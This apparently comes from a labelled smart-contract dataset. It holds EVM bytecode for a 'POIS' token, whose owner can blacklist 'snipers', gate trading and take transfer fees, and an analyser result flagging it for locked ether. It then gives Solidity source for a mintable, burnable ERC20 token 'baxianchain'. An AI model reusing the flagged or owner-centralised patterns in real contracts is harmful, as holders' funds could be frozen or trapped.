0000000000000000000000000000000000000000008152600401611159906136c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60036020528060005260406000206000915054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61126e61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f2906136c1565b60405180910390fd5b8060128190555050565b601160009054906101000a900460ff1681565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461135690613710565b80601f016020809104026020016040519081016040528092919081815260200182805461138290613710565b80156113cf5780601f106113a4576101008083540402835291602001916113cf565b820191906000526020600020905b8154815290600101906020018083116113b257829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61140761204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b906136c1565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006115b26114fc61204c565b846115ad856040518060600160405280602481526020016140cd602491396002600061152661204c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129fc9092919063ffffffff16565b612054565b6001905092915050565b60006115d06115c961204c565b848461221f565b6001905092915050565b6115e261204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461166f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611666906136c1565b60405180910390fd5b80601160006101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116ba61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e906136c1565b60405180910390fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160019054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61186f61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f3906136c1565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197f906138f8565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6119eb61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6f906136c1565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611adb61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5f906136c1565b60405180910390fd5b80600d8190555050565b611b7a61204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfe906136c1565b60405180910390fd5b80600e8190555050565b611c1961204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9d906136c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0d9061398a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600080611e046064611df660125486611f8790919063ffffffff16565b61200290919063ffffffff16565b905080915050919050565b611e1761204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b906136c1565b60405180910390fd5b8060108190555050565b611eb661204c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3a906136c1565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415611f9a5760009050611ffc565b60008284611fa891906139d9565b9050828482611fb79190613a62565b14611ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fee90613b05565b60405180910390fd5b809150505b92915050565b600061204483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612abe565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bb90613b97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b90613c29565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122129190613300565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561228f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228690613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f690613d4d565b60405180910390fd5b60008111612342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233990613ddf565b60405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c690613e4b565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561245c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245390613e4b565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124ec57506124bc61131e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125515760135461250f8261250185611084565b612a6090919063ffffffff16565b1115612550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254790613eb7565b60405180910390fd5b5b60001515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015612601575060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1561292157600d5481111561264b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264290613f23565b60405180910390fd5b601160019054906101000a900460ff1661274b57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561270b5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61274a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274190613f8f565b60405180910390fd5b5b601054600f5461275b9190613faf565b421080156127b75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561292057600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561286f576001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061291f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561291e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b5b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129c85750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806129e05750601160009054906101000a900460ff16155b156129ea57600090505b6129f684848484612b21565b50505050565b6000838311158290612a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3b919061320e565b60405180910390fd5b5060008385612a539190614005565b9050809150509392505050565b6000808284612a6f9190613faf565b905083811015612ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aab90614085565b60405180910390fd5b8091505092915050565b60008083118290612b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afc919061320e565b60405180910390fd5b5060008385612b149190613a62565b9050809150509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612bca5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015612bd35750805b15612d9c576000612be383611dd9565b90506000612bfa8285612f3290919063ffffffff16565b9050612c4e84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f3290919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ce381600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d839190613300565b60405180910390a3612d958685612f7c565b5050612f2c565b612dee82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f3290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e8382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f239190613300565b60405180910390a35b50505050565b6000612f7483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129fc565b905092915050565b6000612fa66064612f9860125485611f8790919063ffffffff16565b61200290919063ffffffff16565b905061301c8160016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6090919063ffffffff16565b60016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131009190613300565b60405180910390a3505050565b600080fd5b6000819050919050565b61312581613112565b811461313057600080fd5b50565b6000813590506131428161311c565b92915050565b60006020828403121561315e5761315d61310d565b5b600061316c84828501613133565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156131af578082015181840152602081019050613194565b838111156131be576000848401525b50505050565b6000601f19601f8301169050919050565b60006131e082613175565b6131ea8185613180565b93506131fa818560208601613191565b613203816131c4565b840191505092915050565b6000602082019050818103600083015261322881846131d5565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061325b82613230565b9050919050565b61326b81613250565b811461327657600080fd5b50565b60008135905061328881613262565b92915050565b6000602082840312156132a4576132a361310d565b5b60006132b284828501613279565b91505092915050565b60008115159050919050565b6132d0816132bb565b82525050565b60006020820190506132eb60008301846132c7565b92915050565b6132fa81613112565b82525050565b600060208201905061331560008301846132f1565b92915050565b600080604083850312156133325761333161310d565b5b600061334085828601613279565b925050602061335185828601613133565b9150509250929050565b6000806000606084860312156133745761337361310d565b5b600061338286828701613279565b935050602061339386828701613279565b92505060406133a486828701613133565b9150509250925092565b600060ff82169050919050565b6133c4816133ae565b82525050565b60006020820190506133df60008301846133bb565b92915050565b6000819050919050565b600061340a61340561340084613230565b6133e5565b613230565b9050919050565b600061341c826133ef565b9050919050565b600061342e82613411565b9050919050565b61343e81613423565b82525050565b60006020820190506134596000830184613435565b92915050565b61346881613250565b82525050565b6000602082019050613483600083018461345f565b92915050565b600061349482613230565b9050919050565b6134a481613489565b82525050565b60006020820190506134bf600083018461349b565b92915050565b6134ce816132bb565b81146134d957600080fd5b50565b6000813590506134eb816134c5565b92915050565b600080604083850312156135085761350761310d565b5b600061351685828601613279565b9250506020613527858286016134dc565b9150509250929050565b6000602082840312156135475761354661310d565b5b6000613555848285016134dc565b91505092915050565b600061356982613250565b9050919050565b6135798161355e565b811461358457600080fd5b50565b60008135905061359681613570565b92915050565b600080604083850312156135b3576135b261310d565b5b60006135c185828601613587565b92505060206135d285828601613279565b9150509250929050565b600080604083850312156135f3576135f261310d565b5b600061360185828601613279565b925050602061361285828601613279565b9150509250929050565b61362581613489565b811461363057600080fd5b50565b6000813590506136428161361c565b92915050565b60006020828403121561365e5761365d61310d565b5b600061366c84828501613633565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136ab602083613180565b91506136b682613675565b602082019050919050565b600060208201905081810360008301526136da8161369e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061372857607f821691505b6020821081141561373c5761373b6136e1565b5b50919050565b7f504f49533a20416c726561647920656e61626c65640000000000000000000000600082015250565b6000613778601583613180565b915061378382613742565b602082019050919050565b600060208201905081810360008301526137a78161376b565b9050919050565b7f504f49533a2057652063616e206e6f7420626c61636b6c69737420556e69537760008201527f6170526f75746572000000000000000000000000000000000000000000000000602082015250565b600061380a602883613180565b9150613815826137ae565b604082019050919050565b60006020820190508181036000830152613839816137fd565b9050919050565b7f504f49533a20736e6970657220616c7265616479206578697374000000000000600082015250565b6000613876601a83613180565b915061388182613840565b602082019050919050565b600060208201905081810360008301526138a581613869565b9050919050565b7f504f49533a204e6f74206120736e697065720000000000000000000000000000600082015250565b60006138e2601283613180565b91506138ed826138ac565b602082019050919050565b60006020820190508181036000830152613911816138d5565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613974602683613180565b915061397f82613918565b604082019050919050565b600060208201905081810360008301526139a381613967565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006139e482613112565b91506139ef83613112565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a2857613a276139aa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a6d82613112565b9150613a7883613112565b925082613a8857613a87613a33565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613aef602183613180565b9150613afa82613a93565b604082019050919050565b60006020820190508181036000830152613b1e81613ae2565b9050919050565b7f504f49533a20617070726f76652066726f6d20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b81602383613180565b9150613b8c82613b25565b604082019050919050565b60006020820190508181036000830152613bb081613b74565b9050919050565b7f504f49533a20617070726f766520746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c13602183613180565b9150613c1e82613bb7565b604082019050919050565b60006020820190508181036000830152613c4281613c06565b9050919050565b7f504f49533a207472616e736665722066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613ca5602483613180565b9150613cb082613c49565b604082019050919050565b60006020820190508181036000830152613cd481613c98565b9050919050565b7f504f49533a207472616e7366657220746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d37602283613180565b9150613d4282613cdb565b604082019050919050565b60006020820190508181036000830152613d6681613d2a565b9050919050565b7f504f49533a20416d6f756e74206d75737420626520677265617465722074686160008201527f6e207a65726f0000000000000000000000000000000000000000000000000000602082015250565b6000613dc9602683613180565b9150613dd482613d6d565b604082019050919050565b60006020820190508181036000830152613df881613dbc565b9050919050565b7f504f49533a20536e697065722064657465637465640000000000000000000000600082015250565b6000613e35601583613180565b9150613e4082613dff565b602082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b7f20504f49533a204d617820486f6c64696e67206c696d69742072656163686564600082015250565b6000613ea1602083613180565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b7f504f49533a20616d6f756e74206578636565646564206d6178206c696d697400600082015250565b6000613f0d601f83613180565b9150613f1882613ed7565b602082019050919050565b60006020820190508181036000830152613f3c81613f00565b9050919050565b7f504f49533a2054726164696e67206973206e6f7420656e61626c656420796574600082015250565b6000613f79602083613180565b9150613f8482613f43565b602082019050919050565b60006020820190508181036000830152613fa881613f6c565b9050919050565b6000613fba82613112565b9150613fc583613112565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ffa57613ff96139aa565b5b828201905092915050565b600061401082613112565b915061401b83613112565b92508282101561402e5761402d6139aa565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061406f601b83613180565b915061407a82614039565b602082019050919050565b6000602082019050818103600083015261409e81614062565b905091905056fe504f49533a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365504f49533a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fbf77c416cbc7265534464135ed4d10a8fd73f6a677c0c6f08326812d88364f964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 1,652 |
0x0b6907eea84a4af30256f2707a204a600fab4c41
|
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public creator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
// Set creator
creator = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the creator.
*/
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyCreator {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* Detailed
*/
contract baxianchain is MintableToken,BurnableToken {
string public name = "baxianchain";
string public symbol = "BAAC";
uint256 public decimals = 8;
uint256 public INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
function baxianchain() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
